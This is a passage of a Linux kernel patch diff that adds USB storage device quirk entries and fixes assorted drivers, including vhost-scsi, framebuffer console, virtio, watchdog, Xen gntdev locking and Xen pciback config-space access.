0x0100, 0x0100, + "Iomega", + "Jaz USB Adapter", + USB_SC_DEVICE, USB_PR_DEVICE, NULL, + US_FL_SINGLE_LUN ), + /* Reported by */ UNUSUAL_DEV( 0x059f, 0x0643, 0x0000, 0x0000, "LaCie", @@ -748,6 +760,13 @@ UNUSUAL_DEV( 0x059f, 0x0643, 0x0000, 0x0000, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_GO_SLOW ), +/* Reported by Christian Schaller */ +UNUSUAL_DEV( 0x059f, 0x0651, 0x0000, 0x0000, + "LaCie", + "External HDD", + USB_SC_DEVICE, USB_PR_DEVICE, NULL, + US_FL_NO_WP_DETECT ), + /* Submitted by Joel Bourquard * Some versions of this device need the SubClass and Protocol overrides * while others don't. @@ -1113,6 +1132,18 @@ UNUSUAL_DEV( 0x0851, 0x1543, 0x0200, 0x0200, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_NOT_LOCKABLE), +UNUSUAL_DEV( 0x085a, 0x0026, 0x0100, 0x0133, + "Xircom", + "PortGear USB-SCSI (Mac USB Dock)", + USB_SC_DEVICE, USB_PR_DEVICE, usb_stor_euscsi_init, + US_FL_SCM_MULT_TARG ), + +UNUSUAL_DEV( 0x085a, 0x0028, 0x0100, 0x0133, + "Xircom", + "PortGear USB to SCSI Converter", + USB_SC_DEVICE, USB_PR_DEVICE, usb_stor_euscsi_init, + US_FL_SCM_MULT_TARG ), + /* Submitted by Jan De Luyck */ UNUSUAL_DEV( 0x08bd, 0x1100, 0x0000, 0x0000, "CITIZEN", @@ -1945,6 +1976,14 @@ UNUSUAL_DEV( 0x152d, 0x2329, 0x0100, 0x0100, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_IGNORE_RESIDUE | US_FL_SANE_SENSE ), +/* Entrega Technologies U1-SC25 (later Xircom PortGear PGSCSI) + * and Mac USB Dock USB-SCSI */ +UNUSUAL_DEV( 0x1645, 0x0007, 0x0100, 0x0133, + "Entrega Technologies", + "USB to SCSI Converter", + USB_SC_DEVICE, USB_PR_DEVICE, usb_stor_euscsi_init, + US_FL_SCM_MULT_TARG ), + /* Reported by Robert Schedel * Note: this is a 'super top' device like the above 14cd/6600 device */ UNUSUAL_DEV( 0x1652, 0x6600, 0x0201, 0x0201, @@ -1967,6 +2006,12 @@ UNUSUAL_DEV( 0x177f, 0x0400, 0x0000, 0x0000, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_BULK_IGNORE_TAG | US_FL_MAX_SECTORS_64 ), +UNUSUAL_DEV( 0x1822, 0x0001, 0x0000, 0x9999, + "Ariston Technologies", + "iConnect USB to SCSI adapter", + USB_SC_DEVICE, USB_PR_DEVICE, usb_stor_euscsi_init, + US_FL_SCM_MULT_TARG ), + /* Reported by Hans de Goede * These Appotech controllers are found in Picture Frames, they provide a * (buggy) emulation of a cdrom drive which contains the windows software @@ -1987,6 +2032,18 @@ UNUSUAL_DEV( 0x1908, 0x3335, 0x0200, 0x0200, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_NO_READ_DISC_INFO ), +/* Reported by Oliver Neukum + * This device morphes spontaneously into another device if the access + * pattern of Windows isn't followed. Thus writable media would be dirty + * if the initial instance is used. So the device is limited to its + * virtual CD. + * And yes, the concept that BCD goes up to 9 is not heeded */ +UNUSUAL_DEV( 0x19d2, 0x1225, 0x0000, 0xffff, + "ZTE,Incorporated", + "ZTE WCDMA Technologies MSM", + USB_SC_DEVICE, USB_PR_DEVICE, NULL, + US_FL_SINGLE_LUN ), + /* Reported by Sven Geggus * This encrypted pen drive returns bogus data for the initial READ(10). */ diff --git a/drivers/vfio/pci/vfio_pci.c b/drivers/vfio/pci/vfio_pci.c index ac3725440d648..dc55bc254c5cf 100644 --- a/drivers/vfio/pci/vfio_pci.c +++ b/drivers/vfio/pci/vfio_pci.c @@ -519,13 +519,11 @@ static const struct vfio_device_ops vfio_pci_ops = { static int vfio_pci_probe(struct pci_dev *pdev, const struct pci_device_id *id) { - u8 type; struct vfio_pci_device *vdev; struct iommu_group *group; int ret; - pci_read_config_byte(pdev, PCI_HEADER_TYPE, &type); - if ((type & PCI_HEADER_TYPE) != PCI_HEADER_TYPE_NORMAL) + if (pdev->hdr_type != PCI_HEADER_TYPE_NORMAL) return -EINVAL; group = iommu_group_get(&pdev->dev); diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c index 7cdbb03bf495b..460fdb68b7ddb 100644 --- a/drivers/vhost/scsi.c +++ b/drivers/vhost/scsi.c @@ -820,6 +820,23 @@ static int vhost_scsi_map_iov_to_sgl(struct tcm_vhost_cmd *tv_cmd, return 0; } +static int vhost_scsi_to_tcm_attr(int attr) +{ + switch (attr) { + case VIRTIO_SCSI_S_SIMPLE: + return MSG_SIMPLE_TAG; + case VIRTIO_SCSI_S_ORDERED: + return MSG_ORDERED_TAG; + case VIRTIO_SCSI_S_HEAD: + return MSG_HEAD_TAG; + case VIRTIO_SCSI_S_ACA: + return MSG_ACA_TAG; + default: + break; + } + return MSG_SIMPLE_TAG; +} + static void tcm_vhost_submission_work(struct work_struct *work) { struct tcm_vhost_cmd *tv_cmd = @@ -846,9 +863,9 @@ static void tcm_vhost_submission_work(struct work_struct *work) rc = target_submit_cmd_map_sgls(se_cmd, tv_nexus->tvn_se_sess, tv_cmd->tvc_cdb, &tv_cmd->tvc_sense_buf[0], tv_cmd->tvc_lun, tv_cmd->tvc_exp_data_len, - tv_cmd->tvc_task_attr, tv_cmd->tvc_data_direction, - 0, sg_ptr, tv_cmd->tvc_sgl_count, - sg_bidi_ptr, sg_no_bidi); + vhost_scsi_to_tcm_attr(tv_cmd->tvc_task_attr), + tv_cmd->tvc_data_direction, 0, sg_ptr, + tv_cmd->tvc_sgl_count, sg_bidi_ptr, sg_no_bidi); if (rc < 0) { transport_send_check_condition_and_sense(se_cmd, TCM_LOGICAL_UNIT_COMMUNICATION_FAILURE, 0); @@ -1071,7 +1088,7 @@ static void tcm_vhost_send_evt(struct vhost_scsi *vs, struct tcm_vhost_tpg *tpg, * lun[4-7] need to be zero according to virtio-scsi spec. */ evt->event.lun[0] = 0x01; - evt->event.lun[1] = tpg->tport_tpgt & 0xFF; + evt->event.lun[1] = tpg->tport_tpgt; if (lun->unpacked_lun >= 256) evt->event.lun[2] = lun->unpacked_lun >> 8 | 0x40 ; evt->event.lun[3] = lun->unpacked_lun & 0xFF; @@ -1150,6 +1167,7 @@ static int vhost_scsi_set_endpoint( struct vhost_scsi *vs, struct vhost_scsi_target *t) { + struct se_portal_group *se_tpg; struct tcm_vhost_tport *tv_tport; struct tcm_vhost_tpg *tv_tpg; struct tcm_vhost_tpg **vs_tpg; @@ -1197,6 +1215,21 @@ static int vhost_scsi_set_endpoint( ret = -EEXIST; goto out; } + /* + * In order to ensure individual vhost-scsi configfs + * groups cannot be removed while in use by vhost ioctl, + * go ahead and take an explicit se_tpg->tpg_group.cg_item + * dependency now. + */ + se_tpg = &tv_tpg->se_tpg; + ret = configfs_depend_item(se_tpg->se_tpg_tfo->tf_subsys, + &se_tpg->tpg_group.cg_item); + if (ret) { + pr_warn("configfs_depend_item() failed: %d\n", ret); + kfree(vs_tpg); + mutex_unlock(&tv_tpg->tv_tpg_mutex); + goto out; + } tv_tpg->tv_tpg_vhost_count++; tv_tpg->vhost_scsi = vs; vs_tpg[tv_tpg->tport_tpgt] = tv_tpg; @@ -1240,6 +1273,7 @@ static int vhost_scsi_clear_endpoint( struct vhost_scsi *vs, struct vhost_scsi_target *t) { + struct se_portal_group *se_tpg; struct tcm_vhost_tport *tv_tport; struct tcm_vhost_tpg *tv_tpg; struct vhost_virtqueue *vq; @@ -1288,6 +1322,13 @@ static int vhost_scsi_clear_endpoint( vs->vs_tpg[target] = NULL; match = true; mutex_unlock(&tv_tpg->tv_tpg_mutex); + /* + * Release se_tpg->tpg_group.cg_item configfs dependency now + * to allow vhost-scsi WWPN se_tpg->tpg_group shutdown to occur. + */ + se_tpg = &tv_tpg->se_tpg; + configfs_undepend_item(se_tpg->se_tpg_tfo->tf_subsys, + &se_tpg->tpg_group.cg_item); } if (match) { for (i = 0; i < VHOST_SCSI_MAX_VQ; i++) { @@ -1853,12 +1894,12 @@ static struct se_portal_group *tcm_vhost_make_tpg(struct se_wwn *wwn, struct tcm_vhost_tport, tport_wwn); struct tcm_vhost_tpg *tpg; - unsigned long tpgt; + u16 tpgt; int ret; if (strstr(name, "tpgt_") != name) return ERR_PTR(-EINVAL); - if (kstrtoul(name + 5, 10, &tpgt) || tpgt > UINT_MAX) + if (kstrtou16(name + 5, 10, &tpgt) || tpgt >= VHOST_SCSI_MAX_TARGET) return ERR_PTR(-EINVAL); tpg = kzalloc(sizeof(struct tcm_vhost_tpg), GFP_KERNEL); diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c index 60aa5ad09a2fd..3aabc652f1b94 100644 --- a/drivers/vhost/vhost.c +++ b/drivers/vhost/vhost.c @@ -855,6 +855,7 @@ long vhost_dev_ioctl(struct vhost_dev *d, unsigned int ioctl, void __user *argp) } if (eventfp != d->log_file) { filep = d->log_file; + d->log_file = eventfp; ctx = d->log_ctx; d->log_ctx = eventfp ? eventfd_ctx_fileget(eventfp) : NULL; diff --git a/drivers/video/console/Kconfig b/drivers/video/console/Kconfig index bc922c47d046e..37e62c7b3273e 100644 --- a/drivers/video/console/Kconfig +++ b/drivers/video/console/Kconfig @@ -6,7 +6,10 @@ menu "Console display driver support" config VGA_CONSOLE bool "VGA text console" if EXPERT || !X86 - depends on !4xx && !8xx && !SPARC && !M68K && !PARISC && !FRV && !SUPERH && !BLACKFIN && !AVR32 && !MN10300 && (!ARM || ARCH_FOOTBRIDGE || ARCH_INTEGRATOR || ARCH_NETWINDER) + depends on !4xx && !8xx && !SPARC && !M68K && !PARISC && !FRV && \ + !SUPERH && !BLACKFIN && !AVR32 && !MN10300 && !CRIS && \ + (!ARM || ARCH_FOOTBRIDGE || ARCH_INTEGRATOR || ARCH_NETWINDER) && \ + !ARM64 default y help Saying Y here will allow you to use Linux in text mode through a diff --git a/drivers/video/console/bitblit.c b/drivers/video/console/bitblit.c index 61b182bf32a22..dbfe4eecf12e5 100644 --- a/drivers/video/console/bitblit.c +++ b/drivers/video/console/bitblit.c @@ -205,7 +205,6 @@ static void bit_putcs(struct vc_data *vc, struct fb_info *info, static void bit_clear_margins(struct vc_data *vc, struct fb_info *info, int bottom_only) { - int bgshift = (vc->vc_hi_font_mask) ? 13 : 12; unsigned int cw = vc->vc_font.width; unsigned int ch = vc->vc_font.height; unsigned int rw = info->var.xres - (vc->vc_cols*cw); @@ -214,7 +213,7 @@ static void bit_clear_margins(struct vc_data *vc, struct fb_info *info, unsigned int bs = info->var.yres - bh; struct fb_fillrect region; - region.color = attr_bgcol_ec(bgshift, vc, info); + region.color = 0; region.rop = ROP_COPY; if (rw && !bottom_only) { diff --git a/drivers/video/console/fbcon_ccw.c b/drivers/video/console/fbcon_ccw.c index 41b32ae23dacb..5a3cbf6dff4d9 100644 --- a/drivers/video/console/fbcon_ccw.c +++ b/drivers/video/console/fbcon_ccw.c @@ -197,9 +197,8 @@ static void ccw_clear_margins(struct vc_data *vc, struct fb_info *info, unsigned int bh = info->var.xres - (vc->vc_rows*ch); unsigned int bs = vc->vc_rows*ch; struct fb_fillrect region; - int bgshift = (vc->vc_hi_font_mask) ? 13 : 12; - region.color = attr_bgcol_ec(bgshift,vc,info); + region.color = 0; region.rop = ROP_COPY; if (rw && !bottom_only) { diff --git a/drivers/video/console/fbcon_cw.c b/drivers/video/console/fbcon_cw.c index a93670ef7f89e..e7ee44db4e98b 100644 --- a/drivers/video/console/fbcon_cw.c +++ b/drivers/video/console/fbcon_cw.c @@ -180,9 +180,8 @@ static void cw_clear_margins(struct vc_data *vc, struct fb_info *info, unsigned int bh = info->var.xres - (vc->vc_rows*ch); unsigned int rs = info->var.yres - rw; struct fb_fillrect region; - int bgshift = (vc->vc_hi_font_mask) ? 13 : 12; - region.color = attr_bgcol_ec(bgshift,vc,info); + region.color = 0; region.rop = ROP_COPY; if (rw && !bottom_only) { diff --git a/drivers/video/console/fbcon_ud.c b/drivers/video/console/fbcon_ud.c index ff0872c0498bd..19e3714abfe8f 100644 --- a/drivers/video/console/fbcon_ud.c +++ b/drivers/video/console/fbcon_ud.c @@ -227,9 +227,8 @@ static void ud_clear_margins(struct vc_data *vc, struct fb_info *info, unsigned int rw = info->var.xres - (vc->vc_cols*cw); unsigned int bh = info->var.yres - (vc->vc_rows*ch); struct fb_fillrect region; - int bgshift = (vc->vc_hi_font_mask) ? 13 : 12; - region.color = attr_bgcol_ec(bgshift,vc,info); + region.color = 0; region.rop = ROP_COPY; if (rw && !bottom_only) { diff --git a/drivers/video/da8xx-fb.c b/drivers/video/da8xx-fb.c index 0810939936f41..b13bfb2e52a21 100644 --- a/drivers/video/da8xx-fb.c +++ b/drivers/video/da8xx-fb.c @@ -226,8 +226,7 @@ static struct fb_videomode known_lcd_panels[] = { .lower_margin = 2, .hsync_len = 0, .vsync_len = 0, - .sync = FB_SYNC_CLK_INVERT | - FB_SYNC_HOR_HIGH_ACT | FB_SYNC_VERT_HIGH_ACT, + .sync = FB_SYNC_CLK_INVERT, }, /* Sharp LK043T1DG01 */ [1] = { @@ -241,7 +240,7 @@ static struct fb_videomode known_lcd_panels[] = { .lower_margin = 2, .hsync_len = 41, .vsync_len = 10, - .sync = FB_SYNC_HOR_HIGH_ACT | FB_SYNC_VERT_HIGH_ACT, + .sync = 0, .flag = 0, }, [2] = { @@ -256,7 +255,7 @@ static struct fb_videomode known_lcd_panels[] = { .lower_margin = 10, .hsync_len = 10, .vsync_len = 10, - .sync = FB_SYNC_HOR_HIGH_ACT | FB_SYNC_VERT_HIGH_ACT, + .sync = 0, .flag = 0, }, }; diff --git a/drivers/video/logo/logo.c b/drivers/video/logo/logo.c index 080c35b34bbb9..cc5dbb5b2f711 100644 --- a/drivers/video/logo/logo.c +++ b/drivers/video/logo/logo.c @@ -25,6 +25,21 @@ static bool nologo; module_param(nologo, bool, 0); MODULE_PARM_DESC(nologo, "Disables startup logo"); +/* + * Logos are located in the initdata, and will be freed in kernel_init. + * Use late_init to mark the logos as freed to prevent any further use. + */ + +static bool logos_freed; + +static int __init fb_logo_late_init(void) +{ + logos_freed = true; + return 0; +} + +late_initcall(fb_logo_late_init); + /* logo's are marked __initdata. Use __init_refok to tell * modpost that it is intended that this function uses data * marked __initdata. @@ -33,7 +48,7 @@ const struct linux_logo * __init_refok fb_find_logo(int depth) { const struct linux_logo *logo = NULL; - if (nologo) + if (nologo || logos_freed) return NULL; if (depth >= 1) { diff --git a/drivers/virtio/virtio.c b/drivers/virtio/virtio.c index ee59b74768d95..beaa7cc4e857e 100644 --- a/drivers/virtio/virtio.c +++ b/drivers/virtio/virtio.c @@ -238,6 +238,7 @@ static int virtio_init(void) static void __exit virtio_exit(void) { bus_unregister(&virtio_bus); + ida_destroy(&virtio_index_ida); } core_initcall(virtio_init); module_exit(virtio_exit); diff --git a/drivers/virtio/virtio_balloon.c b/drivers/virtio/virtio_balloon.c index 7d7add5ceba45..148e8ea1bc96f 100644 --- a/drivers/virtio/virtio_balloon.c +++ b/drivers/virtio/virtio_balloon.c @@ -177,6 +177,8 @@ static void leak_balloon(struct virtio_balloon *vb, size_t num) num = min(num, ARRAY_SIZE(vb->pfns)); mutex_lock(&vb->balloon_lock); + /* We can't release more pages than taken */ + num = min(num, (size_t)vb->num_pages); for (vb->num_pfns = 0; vb->num_pfns < num; vb->num_pfns += VIRTIO_BALLOON_PAGES_PER_PAGE) { page = balloon_page_dequeue(vb_dev_info); diff --git a/drivers/virtio/virtio_pci.c b/drivers/virtio/virtio_pci.c index a7ce73029f598..933241a6ab100 100644 --- a/drivers/virtio/virtio_pci.c +++ b/drivers/virtio/virtio_pci.c @@ -791,6 +791,7 @@ static int virtio_pci_restore(struct device *dev) struct pci_dev *pci_dev = to_pci_dev(dev); struct virtio_pci_device *vp_dev = pci_get_drvdata(pci_dev); struct virtio_driver *drv; + unsigned status = 0; int ret; drv = container_of(vp_dev->vdev.dev.driver, @@ -801,14 +802,40 @@ static int virtio_pci_restore(struct device *dev) return ret; pci_set_master(pci_dev); + /* We always start by resetting the device, in case a previous + * driver messed it up. */ + vp_reset(&vp_dev->vdev); + + /* Acknowledge that we've seen the device. */ + status |= VIRTIO_CONFIG_S_ACKNOWLEDGE; + vp_set_status(&vp_dev->vdev, status); + + /* Maybe driver failed before freeze. + * Restore the failed status, for debugging. */ + status |= vp_dev->saved_status & VIRTIO_CONFIG_S_FAILED; + vp_set_status(&vp_dev->vdev, status); + + if (!drv) + return 0; + + /* We have a driver! */ + status |= VIRTIO_CONFIG_S_DRIVER; + vp_set_status(&vp_dev->vdev, status); + vp_finalize_features(&vp_dev->vdev); - if (drv && drv->restore) + if (drv->restore) { ret = drv->restore(&vp_dev->vdev); + if (ret) { + status |= VIRTIO_CONFIG_S_FAILED; + vp_set_status(&vp_dev->vdev, status); + return ret; + } + } /* Finally, tell the device we're all set */ - if (!ret) - vp_set_status(&vp_dev->vdev, vp_dev->saved_status); + status |= VIRTIO_CONFIG_S_DRIVER_OK; + vp_set_status(&vp_dev->vdev, status); return ret; } diff --git a/drivers/watchdog/omap_wdt.c b/drivers/watchdog/omap_wdt.c index af88ffd1068f5..2b7e073f5e36a 100644 --- a/drivers/watchdog/omap_wdt.c +++ b/drivers/watchdog/omap_wdt.c @@ -134,6 +134,13 @@ static int omap_wdt_start(struct watchdog_device *wdog) pm_runtime_get_sync(wdev->dev); + /* + * Make sure the watchdog is disabled. This is unfortunately required + * because writing to various registers with the watchdog running has no + * effect. + */ + omap_wdt_disable(wdev); + /* initialize prescaler */ while (__raw_readl(base + OMAP_WATCHDOG_WPS) & 0x01) cpu_relax(); diff --git a/drivers/watchdog/rc32434_wdt.c b/drivers/watchdog/rc32434_wdt.c index f78bc008cbb71..ea8f58216d4d4 100644 --- a/drivers/watchdog/rc32434_wdt.c +++ b/drivers/watchdog/rc32434_wdt.c @@ -237,7 +237,7 @@ static long rc32434_wdt_ioctl(struct file *file, unsigned int cmd, return -EINVAL; /* Fall through */ case WDIOC_GETTIMEOUT: - return copy_to_user(argp, &timeout, sizeof(int)); + return copy_to_user(argp, &timeout, sizeof(int)) ? -EFAULT : 0; default: return -ENOTTY; } diff --git a/drivers/xen/gntdev.c b/drivers/xen/gntdev.c index 3c8803feba26c..3d8e6098cd404 100644 --- a/drivers/xen/gntdev.c +++ b/drivers/xen/gntdev.c @@ -65,7 +65,7 @@ struct gntdev_priv { * Only populated if populate_freeable_maps == 1 */ struct list_head freeable_maps; /* lock protects maps and freeable_maps */ - spinlock_t lock; + struct mutex lock; struct mm_struct *mm; struct mmu_notifier mn; }; @@ -214,9 +214,9 @@ static void gntdev_put_map(struct gntdev_priv *priv, struct grant_map *map) } if (populate_freeable_maps && priv) { - spin_lock(&priv->lock); + mutex_lock(&priv->lock); list_del(&map->next); - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); } if (map->pages && !use_ptemod) @@ -392,9 +392,9 @@ static void gntdev_vma_close(struct vm_area_struct *vma) * not do any unmapping, since that has been done prior to * closing the vma, but it may still iterate the unmap_ops list. */ - spin_lock(&priv->lock); + mutex_lock(&priv->lock); map->vma = NULL; - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); } vma->vm_private_data = NULL; gntdev_put_map(priv, map); @@ -438,14 +438,14 @@ static void mn_invl_range_start(struct mmu_notifier *mn, struct gntdev_priv *priv = container_of(mn, struct gntdev_priv, mn); struct grant_map *map; - spin_lock(&priv->lock); + mutex_lock(&priv->lock); list_for_each_entry(map, &priv->maps, next) { unmap_if_in_range(map, start, end); } list_for_each_entry(map, &priv->freeable_maps, next) { unmap_if_in_range(map, start, end); } - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); } static void mn_invl_page(struct mmu_notifier *mn, @@ -462,7 +462,7 @@ static void mn_release(struct mmu_notifier *mn, struct grant_map *map; int err; - spin_lock(&priv->lock); + mutex_lock(&priv->lock); list_for_each_entry(map, &priv->maps, next) { if (!map->vma) continue; @@ -481,7 +481,7 @@ static void mn_release(struct mmu_notifier *mn, err = unmap_grant_pages(map, /* offset */ 0, map->count); WARN_ON(err); } - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); } static struct mmu_notifier_ops gntdev_mmu_ops = { @@ -503,7 +503,7 @@ static int gntdev_open(struct inode *inode, struct file *flip) INIT_LIST_HEAD(&priv->maps); INIT_LIST_HEAD(&priv->freeable_maps); - spin_lock_init(&priv->lock); + mutex_init(&priv->lock); if (use_ptemod) { priv->mm = get_task_mm(current); @@ -534,12 +534,14 @@ static int gntdev_release(struct inode *inode, struct file *flip) pr_debug("priv %p\n", priv); + mutex_lock(&priv->lock); while (!list_empty(&priv->maps)) { map = list_entry(priv->maps.next, struct grant_map, next); list_del(&map->next); gntdev_put_map(NULL /* already removed */, map); } WARN_ON(!list_empty(&priv->freeable_maps)); + mutex_unlock(&priv->lock); if (use_ptemod) mmu_notifier_unregister(&priv->mn, priv->mm); @@ -577,10 +579,10 @@ static long gntdev_ioctl_map_grant_ref(struct gntdev_priv *priv, return -EFAULT; } - spin_lock(&priv->lock); + mutex_lock(&priv->lock); gntdev_add_map(priv, map); op.index = map->index << PAGE_SHIFT; - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); if (copy_to_user(u, &op, sizeof(op)) != 0) return -EFAULT; @@ -599,7 +601,7 @@ static long gntdev_ioctl_unmap_grant_ref(struct gntdev_priv *priv, return -EFAULT; pr_debug("priv %p, del %d+%d\n", priv, (int)op.index, (int)op.count); - spin_lock(&priv->lock); + mutex_lock(&priv->lock); map = gntdev_find_map_index(priv, op.index >> PAGE_SHIFT, op.count); if (map) { list_del(&map->next); @@ -607,7 +609,7 @@ static long gntdev_ioctl_unmap_grant_ref(struct gntdev_priv *priv, list_add_tail(&map->next, &priv->freeable_maps); err = 0; } - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); if (map) gntdev_put_map(priv, map); return err; @@ -675,7 +677,7 @@ static long gntdev_ioctl_notify(struct gntdev_priv *priv, void __user *u) out_flags = op.action; out_event = op.event_channel_port; - spin_lock(&priv->lock); + mutex_lock(&priv->lock); list_for_each_entry(map, &priv->maps, next) { uint64_t begin = map->index << PAGE_SHIFT; @@ -703,7 +705,7 @@ static long gntdev_ioctl_notify(struct gntdev_priv *priv, void __user *u) rc = 0; unlock_out: - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); /* Drop the reference to the event channel we did not save in the map */ if (out_flags & UNMAP_NOTIFY_SEND_EVENT) @@ -753,7 +755,7 @@ static int gntdev_mmap(struct file *flip, struct vm_area_struct *vma) pr_debug("map %d+%d at %lx (pgoff %lx)\n", index, count, vma->vm_start, vma->vm_pgoff); - spin_lock(&priv->lock); + mutex_lock(&priv->lock); map = gntdev_find_map_index(priv, index, count); if (!map) goto unlock_out; @@ -768,7 +770,7 @@ static int gntdev_mmap(struct file *flip, struct vm_area_struct *vma) vma->vm_ops = &gntdev_vmops; - vma->vm_flags |= VM_DONTEXPAND | VM_DONTDUMP; + vma->vm_flags |= VM_DONTEXPAND | VM_DONTDUMP | VM_IO; if (use_ptemod) vma->vm_flags |= VM_DONTCOPY; @@ -788,7 +790,7 @@ static int gntdev_mmap(struct file *flip, struct vm_area_struct *vma) map->flags |= GNTMAP_readonly; } - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); if (use_ptemod) { err = apply_to_page_range(vma->vm_mm, vma->vm_start, @@ -816,11 +818,11 @@ static int gntdev_mmap(struct file *flip, struct vm_area_struct *vma) return 0; unlock_out: - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); return err; out_unlock_put: - spin_unlock(&priv->lock); + mutex_unlock(&priv->lock); out_put_map: if (use_ptemod) map->vma = NULL; diff --git a/drivers/xen/xen-acpi-processor.c b/drivers/xen/xen-acpi-processor.c index 8abd7d5790374..2e4517277e80f 100644 --- a/drivers/xen/xen-acpi-processor.c +++ b/drivers/xen/xen-acpi-processor.c @@ -426,36 +426,7 @@ static int check_acpi_ids(struct acpi_processor *pr_backup) return 0; } -static int __init check_prereq(void) -{ - struct cpuinfo_x86 *c = &cpu_data(0); - - if (!xen_initial_domain()) - return -ENODEV; - - if (!acpi_gbl_FADT.smi_command) - return -ENODEV; - - if (c->x86_vendor == X86_VENDOR_INTEL) { - if (!cpu_has(c, X86_FEATURE_EST)) - return -ENODEV; - return 0; - } - if (c->x86_vendor == X86_VENDOR_AMD) { - /* Copied from powernow-k8.h, can't include ../cpufreq/powernow - * as we get compile warnings for the static functions. - */ -#define CPUID_FREQ_VOLT_CAPABILITIES 0x80000007 -#define USE_HW_PSTATE 0x00000080 - u32 eax, ebx, ecx, edx; - cpuid(CPUID_FREQ_VOLT_CAPABILITIES, &eax, &ebx, &ecx, &edx); - if ((edx & USE_HW_PSTATE) != USE_HW_PSTATE) - return -ENODEV; - return 0; - } - return -ENODEV; -} /* acpi_perf_data is a pointer to percpu data. */ static struct acpi_processor_performance __percpu *acpi_perf_data; @@ -511,10 +482,10 @@ static struct syscore_ops xap_syscore_ops = { static int __init xen_acpi_processor_init(void) { unsigned int i; - int rc = check_prereq(); + int rc; - if (rc) - return rc; + if (!xen_initial_domain()) + return -ENODEV; nr_acpi_bits = get_max_acpi_id() + 1; acpi_ids_done = kcalloc(BITS_TO_LONGS(nr_acpi_bits), sizeof(unsigned long), GFP_KERNEL); diff --git a/drivers/xen/xen-pciback/conf_space.c b/drivers/xen/xen-pciback/conf_space.c index 46ae0f9f02adc..ba3fac8318bb5 100644 --- a/drivers/xen/xen-pciback/conf_space.c +++ b/drivers/xen/xen-pciback/conf_space.c @@ -16,7 +16,7 @@ #include "conf_space.h" #include "conf_space_quirks.h" -static bool permissive; +bool permissive; module_param(permissive, bool, 0644); /* This is where xen_pcibk_read_config_byte, xen_pcibk_read_config_word, @@ -183,8 +183,7 @@ int xen_pcibk_config_read(struct pci_dev *dev, int offset, int size, field_start = OFFSET(cfg_entry); field_end = OFFSET(cfg_entry) + field->size; - if ((req_start >= field_start && req_start < field_end) - || (req_end > field_start && req_end <= field_end)) { + if (req_end > field_start && field_end > req_start) { err = conf_space_read(dev, cfg_entry, field_start, &tmp_val); if (err) @@ -230,8 +229,7 @@ int xen_pcibk_config_write(struct pci_dev *dev, int offset, int size, u32 value) field_start = OFFSET(cfg_entry); field_end = OFFSET(cfg_entry) + field->size; - if ((req_start >= field_start && req_start < field_end) - || (req_end > field_start && req_end <= field_end)) { + if (req_end > field_start && field_end > req_start) { tmp_val = 0; err = xen_pcibk_config_read(dev, field_start, diff --git a/drivers/xen/xen-pciback/conf_space.h b/drivers/xen/xen-pciback/conf_space.h index e56c934ad137b..2e1d73d1d5d09 100644 --- a/drivers/xen/xen-pciback/conf_space.h +++ b/drivers/xen/xen-pciback/conf_space.h @@ -64,6 +64,8 @@ struct config_field_entry { void *data; }; +extern bool permissive; + #define OFFSET(cfg_entry) ((cfg_entry)->base_offset+(cfg_entry)->field->offset) /* Add fields to a device - the add_fields macro expects to get a pointer to diff --git a/drivers/xen/xen-pciback/conf_space_header.c b/drivers/xen/xen-pciback/conf_space_header.c index 3daf862d739da..a5bb81a600f76 100644 --- a/drivers/xen/xen-pciback/conf_space_header.c +++ b/drivers/xen/xen-pciback/conf_space_header.c @@ -9,6 +9,10 @@ #include "pciback.h" #include "conf_space.h" +struct pci_cmd_info { + u16 val; +}; + struct pci_bar_info { u32 val; u32 len_val; @@ -18,22 +22,36 @@ struct pci_bar_info { #define is_enable_cmd(value) ((value)&(PCI_COMMAND_MEMORY|PCI_COMMAND_IO)) #define is_master_cmd(value) ((value)&PCI_COMMAND_MASTER) -static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data) +/* Bits guests are allowed to control in permissive mode. */ +#define PCI_COMMAND_GUEST (PCI_COMMAND_MASTER|PCI_COMMAND_SPECIAL| \ + PCI_COMMAND_INVALIDATE|PCI_COMMAND_VGA_PALETTE| \ + PCI_COMMAND_WAIT|PCI_COMMAND_FAST_BACK) + +static void *command_init(struct pci_dev *dev, int offset) { - int i; - int ret; - - ret = xen_pcibk_read_config_word(dev, offset, value, data); - if (!pci_is_enabled(dev)) - return ret; - - for (i = 0; i < PCI_ROM_RESOURCE; i++) { - if (dev->resource[i].flags & IORESOURCE_IO) - *value |= PCI_COMMAND_IO; - if (dev->resource[i].flags & IORESOURCE_MEM) - *value |= PCI_COMMAND_MEMORY; + struct pci_cmd_info *cmd = kmalloc(sizeof(*cmd), GFP_KERNEL); + int err; + + if (!cmd) + return ERR_PTR(-ENOMEM); + + err = pci_read_config_word(dev, PCI_COMMAND, &cmd->val); + if (err) { + kfree(cmd); + return ERR_PTR(err); } + return cmd; +} + +static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data) +{ + int ret = pci_read_config_word(dev, offset, value); + const struct pci_cmd_info *cmd = data; + + *value &= PCI_COMMAND_GUEST; + *value |= cmd->val & ~PCI_COMMAND_GUEST; + return ret; } @@ -41,6 +59,8 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data) { struct xen_pcibk_dev_data *dev_data; int err; + u16 val; + struct pci_cmd_info *cmd = data; dev_data = pci_get_drvdata(dev); if (!pci_is_enabled(dev) && is_enable_cmd(value)) { @@ -83,6 +103,19 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data) } } + cmd->val = value; + + if (!permissive && (!dev_data || !dev_data->permissive)) + return 0; + + /* Only allow the guest to control certain bits. */ + err = pci_read_config_word(dev, offset, &val); + if (err || val == value) + return err; + + value &= PCI_COMMAND_GUEST; + value |= val & 